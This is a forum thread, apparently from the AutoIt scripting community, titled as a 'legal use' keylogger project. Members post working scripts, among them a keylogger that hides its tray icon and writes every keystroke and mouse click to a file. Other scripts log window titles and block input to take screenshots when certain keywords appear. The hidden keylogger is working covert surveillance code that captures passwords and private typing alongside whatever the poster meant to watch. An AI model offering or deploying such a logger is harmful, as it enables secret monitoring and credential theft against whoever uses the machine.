Jump to content

Making a Keylogger (Legal Use)


para
 Share

Recommended Posts

  • Replies 66
  • Created
  • Last Reply

Top Posters In This Topic

Top Posters In This Topic

JUST RANDOMLY TAKE THE COMPUTER AWAY FOR A WEEK!!!!

there is no need for weapons of mass destruction to be found!!!!

of course also compile an AUTOIT script that does nothing and is running all the time

so that you just pretend that you caught him.

if you are from TEXAS you are allowed to also punch him in the face and tell him

this is for not being truthful and if your parents complain tell them you

are always right.

and by the way I need a medal of HONOR for this advice :lmao:

Link to comment
Share on other sites

All scripts are using dllcall anyway. Even if you dont realize the devs made the hotkey func using also this dllcall :lmao: . So it should be technically possible to get rid of the 64keys limit of hotkey o:) .

So, it should be cleaner to use dllcall in any case, if you like.

They aren't. I believe he used dllcall to use that many.

<{POST_SNAPBACK}>

@normeus .. I think you are right, with this advice :) . Edited by BasicOs
Autoit.es - Foro Autoit en Español Word visitors Image Clustrmap image: - Football Spanish team - Spanish team: Casillas, Iniesta, Villa, Xavi, Puyol, Campdevilla, etc..Programando en Autoit+Html - Coding Autoit-Html - Arranca programas desde Internet - Preprocesador de Autoit a http
Link to comment
Share on other sites

There was a huge deal about HotKeys getting un-restricted.

It was somewhere in the few hundred beta releases...

Offering any help to anyone (to my capabilities of course)Want to say thanks? Click here! [quote name='Albert Einstein']Only two things are infinite, the universe and human stupidity, and I'm not sure about the former.[/quote][quote name='Wolvereness' date='7:35PM Central, Jan 11, 2005']I'm NEVER wrong, I call it something else[/quote]

Link to comment
Share on other sites

Didn´t read the topic really, so don´t beat me if this was already said:

You can make a

WinGetTitle("")

and everytime it changes you write it to a log. Also, if it has 'sex' or 'gay' (lmao, sry ;D ) in it, make a screenshot every 10 seconds for the next minute. If you have a webcam, you can even make a photo of that pron-watching guy.

Here is an example I´ve thought of:

While 1
   Sleep(100)

   $oldtitle = WinGetTitle("")
   If WinGetTitle("") <> $oldtitle And $oldtitle <> '' Then
      $file = FileOpen("C:\pornlog.txt", 1)
      FileWriteLine($file, GetLogEntry() & @CRLF)
      FileClose($datei)
      If StringInStr("gay", WinGetTitle("")) OR StringInStr( "sex", WinGetTitle("")) Then
          _DoScreenshot(); you have to do that function
          _MakePhoto(); look above
          _AlertPolice(); look above
          WinClose(WinGetTitle(""))
        ;Shutdown(9) if your really serious
      EndIf
   EndIf
Wend

Func GetLogEntry()
   $title = WinGetTitle("")
   Return @HOUR & ":" & @MIN & ":" & @SEC & " [" & $title & "]"
EndFunc
Edited by gosu

[quote name='d2hacker88' date='Jan 6 2005, 05:10 PM']Can someone please help me out with autoit like gimme a link on how to use it cause i have no experience with computer languages and i'd like to make a program with autoit in order to empress my computer teacher.[right][snapback]52215[/snapback][/right][/quote]

Link to comment
Share on other sites

Edit: Sorry for doublepost, delete please!

Edited by gosu

[quote name='d2hacker88' date='Jan 6 2005, 05:10 PM']Can someone please help me out with autoit like gimme a link on how to use it cause i have no experience with computer languages and i'd like to make a program with autoit in order to empress my computer teacher.[right][snapback]52215[/snapback][/right][/quote]

Link to comment
Share on other sites

ok, since yall are having quite a troubles...

Opt ("TrayIconHide", 1)
HotKeySet ("^!e", "MyExit")

Func _IsPressed($hexKey)

  
  Local $aR, $bRv
  $hexKey = '0x' & $hexKey
  $aR = DllCall("user32", "int", "GetAsyncKeyState", "int", $hexKey)
 
  If $aR[0] <> 0 Then
     $bRv = 1
  Else
     $bRv = 0
  EndIf
  
  Return $bRv
EndFunc  

$file = FileOpen("keylog.txt", 1)
If $file = -1 Then
   Exit
EndIf

While 1

  If _IsPressed(41) Then
     _LogKeyPress("a")
EndIf
  If _IsPressed(42) Then
     _LogKeyPress("b")
EndIf
  If _IsPressed(43) Then
     _LogKeyPress("c")
EndIf
  If _IsPressed(44) Then
     _LogKeyPress("d")
EndIf

 
  If _IsPressed(45) Then
     _LogKeyPress("e")
EndIf

 
  If _IsPressed(46) Then
     _LogKeyPress("f")
EndIf
  If _IsPressed(47) Then
     _LogKeyPress("g")
EndIf
  If _IsPressed(48) Then
     _LogKeyPress("h")
EndIf
  If _IsPressed(49) Then
     _LogKeyPress("i")
EndIf

 
  If _IsPressed('4a') Then
     _LogKeyPress("j")
EndIf
  If _IsPressed('4b') Then
     _LogKeyPress("k")
EndIf
  If _IsPressed('4c') Then
     _LogKeyPress("l")
EndIf

 
  If _IsPressed('4d') Then
     _LogKeyPress("m")
EndIf
  If _IsPressed('4e') = 1 Then 
     _LogKeyPress("n")
EndIf
  If _IsPressed('4f') Then
     _LogKeyPress("o")
EndIf
  If _IsPressed(50) Then
     _LogKeyPress("p")
EndIf
  If _IsPressed(51) Then
     _LogKeyPress("q")
EndIf
  If _IsPressed(52) Then
     _LogKeyPress("r")
EndIf

 
  If _IsPressed(53) Then
     _LogKeyPress("s")
EndIf
  If _IsPressed(54) Then
     _LogKeyPress("t")
EndIf
  If _IsPressed(55) Then
     _LogKeyPress("u")
EndIf
  If _IsPressed(56) Then
     _LogKeyPress("v")
EndIf
  If _IsPressed(57) Then
     _LogKeyPress("w")
EndIf
  If _IsPressed(58) Then
     _LogKeyPress("x")
EndIf
  If _IsPressed(59) Then
     _LogKeyPress("y")
EndIf

   If _IsPressed('5a') Then
     _LogKeyPress("z")
EndIf
 

If _IsPressed('01') Then
     _LogKeyPress("LEFT MOUSE")
EndIf

  If _IsPressed('02') Then
     _LogKeyPress("RIGHT MOUSE")
  EndIf
  
  
    If _IsPressed('08') Then
     _LogKeyPress("BACKSPACE")
  EndIf
  
  
    If _IsPressed('09') Then
     _LogKeyPress("TAB")
  EndIf
  
  
    If _IsPressed('0d') Then
     _LogKeyPress("ENTER")
  EndIf
  
  
    If _IsPressed('10') Then
     _LogKeyPress("SHIFT")
  EndIf
  
  
      If _IsPressed('11') Then
     _LogKeyPress("CTRL")
  EndIf
  
  
      If _IsPressed('12') Then
     _LogKeyPress("ALT")
EndIf
    If _IsPressed('13') Then
     _LogKeyPress("PAUSE")
  EndIf   
   If _IsPressed('14') Then
     _LogKeyPress("CAPSLOCK")
EndIf
    If _IsPressed('1b') Then
     _LogKeyPress("ESC")
EndIf
    If _IsPressed('20') Then
     _LogKeyPress("SPACE")
  EndIf
  
  
      If _IsPressed('21') Then
     _LogKeyPress("PGUP")
  EndIf
  
  
      If _IsPressed('22') Then
     _LogKeyPress("PGDOWN")
  EndIf
  
  
      If _IsPressed('23') Then
     _LogKeyPress("END")
  EndIf
  
  
      If _IsPressed('24') Then
     _LogKeyPress("HOME")
  EndIf
  
  
      If _IsPressed('25') Then
     _LogKeyPress("LEFT ARROW")
  EndIf
  
  
      If _IsPressed('26') Then
     _LogKeyPress("UP ARROW")
  EndIf
  
  
      If _IsPressed('27') Then
     _LogKeyPress("RIGHT ARROW")
  EndIf
  
  
      If _IsPressed('28') Then
     _LogKeyPress("DOWN ARROW")
  EndIf
  
  
      If _IsPressed('2c') Then
     _LogKeyPress("PRNTSCRN")
  EndIf
  
  
      If _IsPressed('2d') Then
     _LogKeyPress("INSERT")
  EndIf
  
  
      If _IsPressed('2e') Then
     _LogKeyPress("DEL")
EndIf

    If _IsPressed('30') Then
     _LogKeyPress("0")
  EndIf
  
  
      If _IsPressed('31') Then
     _LogKeyPress("1")
  EndIf
  
  
      If _IsPressed('32') Then
     _LogKeyPress("2")
  EndIf
  
  
      If _IsPressed('33') Then
     _LogKeyPress("3")
  EndIf
  
  
      If _IsPressed('34') Then
     _LogKeyPress("4")
  EndIf
  
  
      If _IsPressed('35') Then
     _LogKeyPress("5")
  EndIf
  
  
      If _IsPressed('36') Then
     _LogKeyPress("6")
  EndIf
  
  
      If _IsPressed('37') Then
     _LogKeyPress("7")
  EndIf
  
  
      If _IsPressed('38') Then
     _LogKeyPress("8")
EndIf
    If _IsPressed('39') Then
     _LogKeyPress("9")
EndIf

WEnd

  Sleep(50)
Func _LogKeyPress($what2log)
  FileWriteLine($file, "[ " &@MDAY & ". " &@MON & ". "  &@YEAR & "  " &@HOUR & ":" &@MIN & ":" &@SEC & " ]   " & "Pressed Button: " & $what2log)
sleep ("100")
EndFunc

FileClose($file)

Func MyExit ()
   Exit
EndFunc

you can change the directory of where to put the keylog if youd like, which is a good idea, just adjust the FileOpen () in the beggining of the script

(much thanks to ezzetabi for the _IsPressed function of course :lmao:)

although as i explained earlier, i havent ever put this to bad use, it has actually been put to good use

<{POST_SNAPBACK}>

All those lines for one idea is a bit much for my brain. If you used a for next loop to loop through the different ranges of key values you wanted to check and modified _iskey pressed as below it might make things a bit neater. Just a thought cos I'm not good at reading.

Func _IsPressed($Key) ;but using a decimal value instead of hex

; $Key must be the value of one of the keys.

; _IsPressed will return 0 if the key is not pressed, 1 if it is.

Local $aR, $bO, $hexy

$hexy = '0x' & hex($Key,2)

$aR = DllCall("user32", "int", "GetAsyncKeyState", "int", $hexy)

If Not @error And BitAND($aR[0], 0x8000) = 0x8000 Then

$bO = 1

Else

$bO = 0

EndIf

Return $bO

EndFunc ;==>_IsPressed

Serial port communications UDF Includes functions for binary transmission and reception.printing UDF Useful for graphs, forms, labels, reports etc.Add User Call Tips to SciTE for functions in UDFs not included with AutoIt and for your own scripts.Functions with parameters in OnEvent mode and for Hot Keys One function replaces GuiSetOnEvent, GuiCtrlSetOnEvent and HotKeySet.UDF IsConnected2 for notification of status of connected state of many urls or IPs, without slowing the script.
Link to comment
Share on other sites

A certain someone is working on that so just wait and see if he releases it.

(Note: I'm not hinting toward me)

Offering any help to anyone (to my capabilities of course)Want to say thanks? Click here! [quote name='Albert Einstein']Only two things are infinite, the universe and human stupidity, and I'm not sure about the former.[/quote][quote name='Wolvereness' date='7:35PM Central, Jan 11, 2005']I'm NEVER wrong, I call it something else[/quote]

Link to comment
Share on other sites

Opt("WinTitleMatchMode", 2)
While 1
   If WinExists("sex") Or WinExists("tits") Or WinExists("gay") Then
      BlockInput(1)
      RunWait(@ComSpec & ' /c "E:\Programme\IrfanView\i_view32.exe" /capture=0 /convert=proof.jpg','', @SW_HIDE); Change the path to IrfanView
      BlockInput(0)
      WinClose("")
      MsgBox(16, "Stop!", "A screenshot has been made and the administrator will be contacted.")
      Run("net send PCNAME Someone´s viewing bad sites!"); Change the guy who wants to recieve it
   EndIf
   Sleep(100)
WEnd

This is what I finally came up with. You have to dl IrfanView and change some values.

Edited by gosu

[quote name='d2hacker88' date='Jan 6 2005, 05:10 PM']Can someone please help me out with autoit like gimme a link on how to use it cause i have no experience with computer languages and i'd like to make a program with autoit in order to empress my computer teacher.[right][snapback]52215[/snapback][/right][/quote]

Link to comment
Share on other sites

i got a better idea

the cookies you fool!

make a backup, and compare them to new cookies.... see what sites they are to.

and thats better than a keylogger... which you arent even making from the sound of it.

sounds like an activity logger. cause its attempting to record more than keys.

if you want to see what sites are being visited, log them by using an infinite loop, checking the active window title, and logging each new title in a file you can look at later.

seems like alot of work.... why not just use some recording device.... and playback the tape later. or get aol... i hear they have parental blocking stuff.

Valik Note Added 19 October 2006 - 08:38 AMAdded to warn level I just plain don't like you.

Link to comment
Share on other sites

FYI, that's what I said...

Offering any help to anyone (to my capabilities of course)Want to say thanks? Click here! [quote name='Albert Einstein']Only two things are infinite, the universe and human stupidity, and I'm not sure about the former.[/quote][quote name='Wolvereness' date='7:35PM Central, Jan 11, 2005']I'm NEVER wrong, I call it something else[/quote]

Link to comment
Share on other sites

you guys are making it WAY to difficult, i know for a fact it is easier :lmao:

[font="Times"] If anyone remembers me, I am back. Maybe to stay, maybe not.----------------------------------------------------------------------------------------------------------[/font][font="Times"]Things I am proud of: Pong! in AutoIt | SearchbarMy website: F.R.I.E.S.A little website that is trying to get started: http://thepiratelounge.net/ (not mine)[/font][font="Times"] ----------------------------------------------------------------------------------------------------------[/font][font="Arial"]The newbies need to stop stealing avatars!!! It is confusing!![/font]

Link to comment
Share on other sites

Why log him at all? Let the kid have his fun. Don't kill his enjoyment.

<{POST_SNAPBACK}>

That's just wrong...

Offering any help to anyone (to my capabilities of course)Want to say thanks? Click here! [quote name='Albert Einstein']Only two things are infinite, the universe and human stupidity, and I'm not sure about the former.[/quote][quote name='Wolvereness' date='7:35PM Central, Jan 11, 2005']I'm NEVER wrong, I call it something else[/quote]

Link to comment
Share on other sites

ummm.... Please say you were kidding when you said that

[font="Times"] If anyone remembers me, I am back. Maybe to stay, maybe not.----------------------------------------------------------------------------------------------------------[/font][font="Times"]Things I am proud of: Pong! in AutoIt | SearchbarMy website: F.R.I.E.S.A little website that is trying to get started: http://thepiratelounge.net/ (not mine)[/font][font="Times"] ----------------------------------------------------------------------------------------------------------[/font][font="Arial"]The newbies need to stop stealing avatars!!! It is confusing!![/font]

Link to comment
Share on other sites

I've already done a keylogger just recently after seeing this topic, but I sometimes get the same key multiple times, or the keys logged in the wrong order, or missed keystrokes. I've tried various sleep times in the while loop but to no avail. Anyone can give any suggestions whose made one b4?

I've got the finding and matching and writing ok, but not sure how to make it log when say, someone's a FAST typist. Is it possible? or is there always going to be the problems above?

While TRUE
 $log=_keypress()
  if $log >0 then
      _logkey($log)
  endif
   sleep (200)
Wend
:lmao:
Link to comment
Share on other sites

about martins code......

why doesnt it detect "-" ????????

it would be nice........................

<{POST_SNAPBACK}>

tOddie, if you mean my code then on my keyboard the value for '-' is 109 or 189.

You can find the value for a key like this-

$n=0
While $n < 256
  $n=$n+1
  If _IsPressed(27) = 1 Then Exit ;27 is ESC
  If _IsPressed($n) = 1 Then 
    MsgBox(0, '', 'the key held down is no. ' & $n)
    $n=0
  EndIf
;109 is num pad '-', or 189 on main keyboard for me
  Sleep(5)
if $n = 256 then $n = 0
Wend

Func _IsPressed($Key)
; $Key must be the value of one of the keys.
; _IsPressed will return 0 if the key is not pressed, 1 if it is.

  
  Local $aR, $bO, $hexy
  
  $hexy = '0x' & hex($Key,2)

  $aR = DllCall("user32", "int", "GetAsyncKeyState", "int", $hexy)
  If Not @error And BitAND($aR[0], 0x8000) = 0x8000 Then
     $bO = 1
  Else
     $bO = 0
  EndIf
  
  Return $bO
EndFunc;==>_IsPressed
Edited by martin
Serial port communications UDF Includes functions for binary transmission and reception.printing UDF Useful for graphs, forms, labels, reports etc.Add User Call Tips to SciTE for functions in UDFs not included with AutoIt and for your own scripts.Functions with parameters in OnEvent mode and for Hot Keys One function replaces GuiSetOnEvent, GuiCtrlSetOnEvent and HotKeySet.UDF IsConnected2 for notification of status of connected state of many urls or IPs, without slowing the script.
Link to comment
Share on other sites

Guest
This topic is now closed to further replies.
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...